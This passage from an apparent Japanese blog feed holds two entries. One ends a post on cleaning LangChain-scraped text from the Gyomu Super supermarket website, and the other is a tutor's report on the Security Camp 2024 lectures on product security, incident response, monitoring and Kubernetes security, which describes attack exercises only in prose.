\'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\\\\n\' + \'スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。\\\\n\' + \'神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。\\\\n\' + \'.detail_footer{display: none;} @media screen and (max-width: 767px){\\\\n\' + \'.detail_footer{ display: block; position: fixed; bottom: 0; width: 100%;\\\\n\' + \'z-index: 20; } .detail_footer_con{ display: flex; justify-content: space-around;\\\\n\' + \'align-items: flex-start; max-width: 400px; width: 97%; margin: 0 auto; }\\\\n\' + \'.detail_footer_con a{ text-decoration: none; color: #fff; } .footer_btn{\\\\n\' + \'background-color: #13a555; padding: 10px; border-radius: 10px 10px 0 0; width:\\\\n\' + \'32%; font-size: 11px; color: #fff; display: flex; flex-direction: column;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#13a555; padding: 10px; border-radius: 10px 10px 0 0; width: 32%; font-size:\\\\n\' + \'11px; color: #fff; display: flex; flex-direction: column; justify-content:\\\\n\' + \'center; align-items: center; height: 55px; } .footer_btn p{ margin: 0; }\\\\n\' + \'.footer_btn img{ margin-bottom: 5px; } .shop_img{ width: 24%; } .bargain_img{\\\\n\' + \'width: 23%; } .pro_img{ width: 21%; } .to_img{ width: 22%; } .re_img{ width:\\\\n\' + \'25%; } .footer_x, .footer_insta{ width: 13%; border-radius: 40px; } .footer_x{\\\\n\' + \'background-color: #000; padding: 13px; } .footer_insta{ background-color:\\\\n\' + \'#ff0069; padding: 12px; } .footer_btn, .footer_x, .footer_insta{ box-shadow: 1px\\\\n\' + \'1px 4px 0 rgba(0, 0, 0, .5); } } 店舗検索 特売情報 ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品\\\\n\' + \'国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品 国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み 商品開発事前チェック\\\\n\' + \'現地工場チェック 品質安全検査 商品検証 FC加盟店募集 業務スーパー5つの強み 業務スーパーの特徴 オープンまでのプロセス 体制について 契約概要・加盟条件\\\\n\' + \'物件・商品のご提案募集 お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針\\\\n\' + \'〒675-0063兵庫県加古川市加古川町平野125番1 \xa92018-document.write(new Date().getFullYear());\\\\n\' + \'Gyomu Super All Rights Reserved. footer small { display: block; text-align:\\\\n\' + \'right; padding-right: 10px; margin: 0 3%; color: #fff; } @media (max-width:64em)\\\\n\' + \'{ footer small { display: block; text-align: left; padding-right: 10px; margin:\\\\n\' + \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_slide\', \'event_label\' : \'top_slide_\'+top_slide+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_slide\', {\'top_slide\' : top_slide}); }); $(\'.topics\').click(function() { var\\\\n\\" + \\"page_url = $(\'.topics a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\'\\\\n\\" + \\": \'topics_bnr\', \'event_label\' : \'topics_bnr_\'+page_url+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'topics_bnr\', {\'topics_bnr\' : page_url}); });\\\\n\\" + \\"$(\'.top_recipe_bnr\').click(function(){ var top_recipe_bnr = $(\'.top_recipe_bnr\\\\n\\" + \\"a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' : \'top_recipe_bnr\',\\\\n\\" + \\"\'event_label\' : \'top_recipe_bnr_\'+top_recipe_bnr+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\',\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\', {\'event_category\' : \'gs_forum\',\\\\n\\" + \\"\'event_label\' : \'gs_forum_\'+gs_forum+\'\'}); gtag(\'event\', \'gs_forum\', {\'gs_forum\'\\\\n\\" + \\": gs_forum}); }); $(\'.information dt\').click(function(){ var news_title =\\\\n\\" + \\"$(this).children(\'p\').text(); gtag(\'event\', \'click\', {\'event_category\' : \'news\',\\\\n\\" + \\"\'event_label\' : \'news_\'+news_title+\'\'}); gtag(\'event\', \'news\', {\'news\' :\\\\n\\" + \\"news_title}); }); $(\'.yasusa\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'yasusa_himitsu\', \'event_label\' : \'yasusa_himitsu\'});\\\\n\\" + \\"gtag(\'event\', \'yasusa_himitsu\', {\'yasusa_himitsu\' : \'yasusa_himitsu\'}); });\\\\n\\" + \\"$(\'.anzen\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'anzen_himitsu\', \'event_label\' : \'anzen_himitsu\'}); gtag(\'event\',\\\\n\\" + \\"\'anzen_himitsu\', {\'anzen_himitsu\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'anzen_himitsu\', \'event_label\' :\\\\n\\" + \\"\'anzen_himitsu\'}); gtag(\'event\', \'anzen_himitsu\', {\'anzen_himitsu\' :\\\\n\\" + \\"\'anzen_himitsu\'}); }); $(\'.recipe_btm_link\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'recipe_btm_link\', \'event_label\' :\\\\n\\" + \\"\'recipe_btm_link\'}); gtag(\'event\', \'recipe_btm_link\', {\'recipe_btm_link\' :\\\\n\\" + \\"\'recipe_btm_link\'}); }); $(\'.3step_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'3step_btn\', \'event_label\' : \'3step_btn\'});\\\\n\\" + \\"gtag(\'event\', \'3step_btn\', {\'3step_btn\' : \'3step_btn\'}); });\\\\n\\" + \\"$(\'.setsuyaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'setsuyaku_btn\', \'event_label\' : \'setsuyaku_btn\'}); gtag(\'event\',\\\\n\\" + \\"\'setsuyaku_btn\', {\'setsuyaku_btn\' : \'setsuyaku_btn\'}); });\\\\n\\" + \\"$(\'.quick_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'quick_btn\', \'event_label\' : \'quick_btn\'}); gtag(\'event\', \'quick_btn\',\\\\n\\" + \\"{\'quick_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'setsuyaku_btn\'}); }); $(\'.quick_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'quick_btn\', \'event_label\' : \'quick_btn\'});\\\\n\\" + \\"gtag(\'event\', \'quick_btn\', {\'quick_btn\' : \'quick_btn\'}); });\\\\n\\" + \\"$(\'.honkaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'honkaku_btn\', \'event_label\' : \'honkaku_btn\'}); gtag(\'event\', \'honkaku_btn\',\\\\n\\" + \\"{\'honkaku_btn\' : \'honkaku_btn\'}); }); $(\'.recipe_item\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'recipe_item\', \'event_label\' :\\\\n\\" + \\"\'recipe_item\'}); gtag(\'event\', \'recipe_item\', {\'recipe_item\' : \'recipe_item\'});\\\\n\\" + \\"}); $(\'.all_recipe_btn\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'all_recipe_btn\', \'event_label\' : \'all_recipe_btn\'});\\\\n\\" + \\"gtag(\'event\', \'all_recipe_btn\', {\'all_recipe_btn\' : \'all_recipe_btn\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_left\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'Visseel\', \'event_label\' : \'Visseel\'}); gtag(\'event\',\\\\n\\" + \\"\'Visseel\', {\'Visseel\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'all_recipe_btn\'}); }); $(\'.sports_wrap .bun_left\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'Visseel\', \'event_label\' :\\\\n\\" + \\"\'Visseel\'}); gtag(\'event\', \'Visseel\', {\'Visseel\' : \'Visseel\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_right\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'DeNA\', \'event_label\' : \'DeNA\'}); gtag(\'event\', \'DeNA\',\\\\n\\" + \\"{\'DeNA\' : \'DeNA\'}); }); $(\'.sale_bnr\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'sale_bnr_mini\', \'event_label\' : \'sale_bnr_mini\'});\\\\n\\" + \\"gtag(\'event\', \'sale_bnr_mini\', {\'sale_bnr_mini\' : \'sale_bnr_mini\'}); });\\\\n\\" + \\"$(\'.top_ec_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_ec_btn\', \'event_label\' : \'top_ec_btn\'}); gtag(\'event\', \'top_ec_btn\',\\\\n\\" + \\"{\'top_ec_btn\' : \'top_ec_btn\'}); }); $(\'.top_halal_btn\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\\\n\\" + \\"\'top_halal_btn\'}); }); $(\'.gyomuca_slide\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'gyomuca_slide\', \'event_label\' : \'gyomuca_slide\'});\\\\n\\" + \\"gtag(\'event\', \'gyomuca_slide\', {\'gyomuca_slide\' : \'gyomuca_slide\'}); });\\\\n\\" + \\"$(\'.gyomuca_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'gyomuca_btn\', \'event_label\' : \'gyomuca_btn\'}); gtag(\'event\', \'gyomuca_btn\',\\\\n\\" + \\"{\'gyomuca_btn\' : \'gyomuca_btn\'}); }); $(\'.top_shop_bnr a\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_shop_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_shop_bnr\'}); gtag(\'event\', \'top_shop_bnr\', {\'top_shop_bnr\' :\\\\n\\" + \\"\'top_shop_bnr\'}); }); $(\'.top_bargain_bnr a\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'top_bargain_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_bargain_bnr\'}); gtag(\'event\', \'top_bargain_bnr\', {\'top_bargain_bnr\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"a\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_bargain_bnr\', \'event_label\' : \'top_bargain_bnr\'}); gtag(\'event\',\\\\n\\" + \\"\'top_bargain_bnr\', {\'top_bargain_bnr\' : \'top_bargain_bnr\'}); });\\\\n\\" + \\"$(document).ready(function() { $(\'.drawer\').drawer(); }); //infoaccordion\\\\n\\" + `$(function(){ $(\\".infoac dt\\").not(\'#noicon\').on(\\"click\\", function() {\\\\n` + \'$(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); }); }); //scroll\\\\n\' + `$(function(){ // #で始まるリンクをクリックしたら実行されます $(\'a[href^=\\"#\\"]\').click(function() { //\\\\n` + \'スクロールの速度 var speed = 600; // ミリ秒で記述 var href= $(this).attr(\\"href\\"); var target =\\\\n\' + `$(href == \\"#\\" || href == \\"\\" ? \'html\' : href); var position =\\\\n` + \\"target.offset().top; $(\'body,html\').animate({scrollTop:position}, speed,\\\\n\\" + \\"\'swing\'); return false; }); }); //matchHeight $(function(){\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"var position = target.offset().top; $(\'body,html\').animate({scrollTop:position},\\\\n\\" + \\"speed, \'swing\'); return false; }); }); //matchHeight $(function(){\\\\n\\" + \\"$(\'.mh\').matchHeight(); }); function news_link(id,year) {\\\\n\\" + \'document.newslink.ne_id.value=id; document.newslink.ne_year.value=year;\\\\n\' + \'document.newslink.submit(); } $(function(){ $(\\"#acMenu dt\\").on(\\"click\\",\\\\n\' + \'function() { $(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); });\\\\n\' + \'}); $(\\".information dl dt\\\\n\' + `p:contains(\'「酒類の品目等の表示義務」改正に伴う「麦旨」の品目表示及び税率適用区分表示の変更について\')\\").find(\'a\').attr({target:\\"_blank\\"});\\\\n` + \'objectFitImages();\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }]CheerioWebBaseLoaderはbodyタグ内を読むのですが、styleタグやscriptタグが入ってしまっているからなんですね。そこで、CheerioWebBaseLoaderを使わず、URLからfetchして、cheerioTextで得たbodyタグの中からstyleタグやscriptタグの中身を除去したコードを実行。npx ts-node webLoad.ts https://www.gyomusuper.jp/綺麗に取れました!!bodyContent:お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針ホーム商品紹介ミラクルレシピ特集一覧安心安全の取り組み業務スーパーとはGyomucaお問い合わせオンラインショップFC加盟店募集会社案内日本語/ENGLISH/中文NEWITEM新着商品新着ホット&スパイシーヌードルホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。詳しくはこちら詳しくはこちらPICKUP!おすすめ商品商品をもっと見る新着パルメザンチーズのリゾットイタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!詳しくはこちらパルメザンチーズ[要冷蔵]詳しくはこちらPICKUP!おすすめレシピレシピをもっと見るSPECIALTOPICS特集特集をもっと見るSNS公式Instagram・公式X(旧Twitter)TweetsbyGyomusuperOFCL公式Instagram公式X(旧Twitter)2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業のご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。一覧を見る『世界の本物』を直輸入!業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!安さの秘密自慢の国内自社工場の『オリジナル』国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!安全・安心の秘密スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。店舗検索特売情報ホームWEBチラシ店舗案内ミラクルレシピ商品紹介直輸入商品国内自社工場商品業務スーパーとは安さの秘密安全安心の取り組み商品開発事前チェック現地工場チェック品質安全検査商品検証FC加盟店募集業務スーパー5つの強み業務スーパーの特徴オープンまでのプロセス体制について契約概要・加盟条件物件・商品のご提案募集お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針〒675-0063兵庫県加古川市加古川町平野125番1\xa92018-GyomuSuperAllRightsReserved.","isoDate":"2024-08-31T13:34:16.000Z","dateMiliSeconds":1725111256000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"セキュリティ・キャンプ 2024 参加記","link":"https://moz-security.hatenablog.com/entry/2024/08/31/121836","contentSnippet":"8月12日から8月16日までの5日間で開催されたセキュリティ・キャンプ2024 全国大会のBクラス(プロダクトセキュリティ)にチューターとして参加したので、体験記を書き残す。昨年、Bクラス(当時は、Webセキュリティ)を修了し、今年チューターとして、もう一度セキュリティ・キャンプに参加することになった。昨年の参加記は、以下である。今読み返してみると、次はネクスト受講生かチューターで参加したいということを書いており、今年チューターとして参加できたのはとてもよかった。moz-security.hatenablog.com日程表Bクラスの日程は、このような感じだった。6つの専門講義があり、それに加えて共通講義やグループワーク, 特別講演などがあり、毎日8:30~21:00に稼働するというハードスケジュールとなっている。セキュリティ・キャンプ Bクラス スケジュール共通講義、グループワーク共通講義では、ゲームセキュリティや法律、人の心理・行動特性についての講義があった。また、毎日グループワークの時間が30分あり、1グループ4人構成でセキュリティ教育について話しあっていた。コンピュータを全く知らない主婦や子供からコンピュータサイエンスをある程度学んだ学生などさまざまなターゲットに対して、いろいろなアプローチでセキュリティ技術を伝えようとするアイデアがあり、ディスカッションや最終発表を見ていてとてもおもしろかった。専門講義Bクラスでは、プロダクト開発におけるセキュリティをテーマにして、講義が構成されていた。全て4時間の講義で、座学と演習の両方を行う形式になっている。1日目のホームルームでプロデューサーから、講義設計にあたり未知との遭遇の最大化を目標としている旨を伝えられた。知らないこともたくさん出てくるだろうが、「アウトプットを行う→フィードバックを得る→新たな知らないことが生まれる」のループを回すことをセキュリティキャンプを通じて、また、セキュリティキャンプが終わった後も行うことが大事だということを話されていた。また、技術の話だけでなくお金の話も講義に盛り込むようにしており、コストとセキュリティのバランスを見定めるといった、より社会で行われていることを体感して、社会に出た後に活躍してほしいというお話があった。そういう意味で、プロデューサーがBクラスは社会人クラスと言っていたのもおもしろかった。これら2つのことは、講義を全て終えた今、改めてとてもプロデューサーの講義設計に対する意図や思いを感じている。2日目B1: プロダクトセキュリティの展望セキュリティ・キャンプ2024 全国大会 B1 プロダクトセキュリティの展望(#seccamp2024) | ドクセル\\"プロダクトセキュリティの展望\\" では、プロダクトの定義とそれが指す範囲の広さ、非機能要件であるセキュリティと組織としての向き合い方について学んだ。なかでも、社会と技術と資産を面で見れるようになるとセキュリティを俯瞰して見ること・考えることができ、面で見れるようになるためには、社会の変化に敏感になることが重要であるということはとても記憶に残っている。セキュリティを仕事にする上で新技術の把握や継続的な学習は大事だと言われているが、この講義を通して再認識させられた。また、プロダクトの価値を早く・大きく・継続して届けるための技術についても学んだ。これらはお金が密接に絡んでくる点で経営側の視点も必要であり、今まで考えたことがなかったが、組織で自分が影響力を発揮していくためには押さえておく必要はあるし、今後勉強していきたいと思った。最後に、組織規模に応じたセキュリティ対策について学んだ。セキュリティ対策が必要だといっても実際に行うには導入・運用にコストがかかるため、コストとセキュリティのバランスが必要となってくるし、その判断が難しいのはよく言われているためすでにわかっていた。しかし、ではどれくらいの組織規模に対してどのような対策を行うのかということは今まであまり考えたことなく(学生で考える人はあまりいないと思っているが)、グループディスカッションや発表、講師以外の方のお話なども含めてとても学びになった。いろんな会社のいろんな役職の人たちがいるのもセキュリティ・キャンプのよさであると思う。B-2: 情報セキュリティ戦略戦術ワークショップ\\"情報セキュリティ戦略戦術ワークショップ\\" では、組織のセキュリティ対策の進め方やインシデントハンドリングについて学んだ。この講義でも、やはり組織規模に応じたセキュリティ対策についてのお話はあり、やらないといけないことはたくさんあるがどれから取り組むかを考えるといったときに、ベストプラクティスやガイドライン、フレームワークは非常に参考になることがわかった。また、インシデント対応において、まず気付ける仕組みと改善の実施が重要であることがわかった。たしかにログが残っていたり、インシデント発生時にアラートが出なかったりすると、そもそもインシデントに気付けない。そのため、セキュリティ担当でなかったとしても、インシデントに気付くために一開発者としてどのような情報(ログ, メトリクス, アラート)が必要なのかは考えるようにしたいと思った。演習では、受講生がグループでインシデントハンドリングを体験しており、チューターとしてはチャットツールでの関係者とのやり取りを見ていた。インシデントというと私は外部の攻撃者からのサイバー攻撃を想像してしまうが、それだけではない。メールの誤送信などといったオペレーションミスや部署間での情報共有の不足、内部不正なども、ちゃんとインシデントであり、それも意外と発生してしまうことがあることを学んだ。演習で関係者とのやりとりがなかなかうまくいかず、大変そうだったのはとても記憶に残っている(覚えるべきとこはそこじゃないw)。3日目B-3: セキュリティ監視入門セキュリティ監視入門 | Notion\\"セキュリティ監視入門\\" では、監視の重要性と監視アーキテクチャの設計・構築について学んだ。監視をする上で最も重要で、最初に考えなければいけないのはなぜ監視するのか・何のために監視するのかであり、そこが曖昧であると例え監視を行っていて異常を見つけたり、アラートが出たりしても、その後の対応に繋がらないということはとても頭に残っている。この講義でもB-1に引き続いて、組織規模に応じた監視アーキテクチャの構築やSOCやCSIRTといった組織の構築を学んだ。どれだけのコストをセキュリティ対策にかけるかは経営判断だが、現場で何が行われているのかやどのようなデータがどこに存在しているかは把握していなければ、セキュリティ監視を行うことやそれにかかるコストを見積もることはできない。ログの対象となるデータは無限と言っていいほど存在しており、どのログを取るのかとコストのバランスを考えることがセキュリティ担当者としての腕の見せ所であることがわかった。また、セキュリティ監視において大規模な運用が始まると不可逆性はかなり高いことも学んだ。これは、データ移行が大変になるからという理由だったが、私自身今までトライアンドエラーを繰り返すことをよしとしていたため、セキュリティ監視というケースではそれがあまりふさわしくないこともあることがわかった。B-4: モダンなプロダクト開発を攻撃者の視点で捉える\\"モダンなプロダクト開発を攻撃者の視点で捉える\\" では、攻撃者がどうやって組織に対して攻撃を行うのかについて学んだのちに、それにやられないために防御側はどのような対策が必要なのかということを考えた。講義を通して、攻撃側と防御側の両方の視点でセキュリティを考えることができたのは非常に学びになった。なかでも、攻撃者はフロー(グラフ)で考え、防御側はリストで考えるというのはとても記憶に残っている。攻撃側は一点だけでも突破できればいいのに対して、防御側は全てを守らなければならない。加えて、多層防御を行い、全てを守っていると思っていても、攻撃者は全く思わぬところからクリティカルな攻撃を行うかもしれない(VPNの脆弱性を突いて初期侵入とかではなく、物理的に侵入するとか)。そのため、セキュリティ担当者として組織を守るには、ベストプラクティスやガイドラインを参考にしつつ、明確なWhyを持ったセキュリティ対策を取るように意識することが重要になってくるとわかった。ゼロトラストやDevSecOpsといった新しく出てきたワードに縛られないようにすることも重要であり、それもWhyを意識することで具体的なセキュリティ対策の実現という本質的な部分に焦点を当てることができることを学んだ。大学や勉強会では防御について学んだり考えたりすることが多いが、攻撃側の視点を養うためにも、もっとHack The Boxを頑張ろうと思う。4日目B-5: 設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\"設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\" では、プロダクト開発において考慮すべきセキュリティと実践方法について学んだ。プロダクトをセキュアにするというと、実装する際に脆弱性を作らないよう気をつけたりリリース前に脆弱性診断を行ったりすることを私はイメージする。しかし、要件定義・設計・実装の段階にテスト工程を前倒しにするというShift-leftの理解と実践により、開発工程の早い段階で脆弱性の検出を行うことが重要であることがわかった。ただ、早い段階で脆弱性を発見しようとするとやらないといけないことが大量に増えるため、できるだけ自動化して、人でないとできない箇所に開発者が注力できる仕組みを作ることが大事だと学んだ。セキュリティに携わるものとして、意識改革やセキュリティ教育ももちろん大事だが、技術者である以上、仕組みで解決できないかという視点は大事だと思う。脆弱性を自動で発見する方法としてはSASTやDASTというものがあり、これらのツールを使ってスキャンを行うことを学んだ。これをCI/CDのパイプラインに組み込むことで、例えば、マージされたタイミングでSASTを行い、ステージング環境にデプロイしたタイミングでDASTを行うといったことができる。これにより、仮に開発者に全くセキュリティの知識がなくても、ある程度のセキュリティは担保することができることがわかった。B-6: クラウドネイティブなシステムを保護するための実践的KubernetesセキュリティGitHub - kyohmizu/seccamp2024-B6\\"クラウドネイティブなシステムを保護するための実践的Kubernetesセキュリティ\\" では、Kubernetesとは何かということととコンテナやKubernetesに対する脅威・セキュリティ対策について学んだ。なかでも、3章の攻撃シナリオを学び、実際に演習したことは記憶に残っている。Kubernetesやコンテナに対する攻撃手法として、コンテナブレイクアウトや認証情報の窃取があることはすでに知っていたが、それ単体で攻撃として成り立つわけではなく、攻撃の中の一工程に過ぎない。そのため、演習を通して、OSコマンドインジェクションの脆弱性を突いた後、徐々に範囲を拡大していき、最終的にKubernetesクラスタのAdmin権限取得まで行うとという経験ができたのはよかった。Kubernetesに対する脅威を身にしみて実感できたし、攻撃者が範囲を拡大していく(ラテラルムーブメント)どこか一箇所でも防ぐことができればここまでやられなかったかもしれないといった防御視点でも考えることができた。講義全体を通して昨年に引き続き、B-1からB-6まで非常に幅広い分野の講義があった。どの講義も講師の方が4時間で終わるか怪しいと講義前から言うほどのボリュームになっており、チューターとして参加しながらも、全てを理解できているわけではない。また、講義の位置付けとしては一応入門となっているし、講義資料には大量のリンクが貼ってある。これは、もっと勉強することはあるよというメッセージ?だろう。勉強するための足がかりも与えられた今、これらを活用して、今後さらに勉強していきたいと思う。また、どの講義でもコストとセキュリティについて取り上げられており、組織の中でセキュリティ対策を進めていこうと思うとコストとセキュリティを見定める能力(費用対効果を考える能力)は求められることを強く実感した。チューターとして立ち位置としては講師と受講生の間となるため、セキュリティ・キャンプ全体を通して、昨年よりもいろんな人といろんな話をすることができた気がする。今思い返すと、受講生として参加した昨年は講義に食らいつくのに必死だったし、自分のスキルに自信もなく、講師の方にも積極的に話を聞きにいこうとしていなかった。今年はチューターとして講義全体を俯瞰して見ることができ、受講生として参加したときよりも少しだけ気持ちに余裕が持てたのはよかったと思う。一方で、受講生の知識・スキルの高さには驚かされ、チューターと受講生というよりは、同じ関心を持つ同世代の仲間という気持ちで講義だけに限らず、休憩時間やご飯の時間も含めてたくさんの話ができたし、そのなかで勉強になることも多かった。チューターとして参加してみて、受講生が演習で困っているときに一緒に解決できたときには私も嬉しかったし、教えたり技術を広めることの面白さを少しだけ感じることができた気がする。セキュリティ・キャンプを修了した方には、チューターとしてセキュリティ・キャンプにもう一度参加することも検討に入れるのをお勧めしたい。感想どの講義も濃密で、チューターとして参加した今年も私にとって初めて知ることも多かった。勉強するきっかけをたくさん与えられるので、キャンプ中はもちろんのことキャンプ後も継続して勉強するネ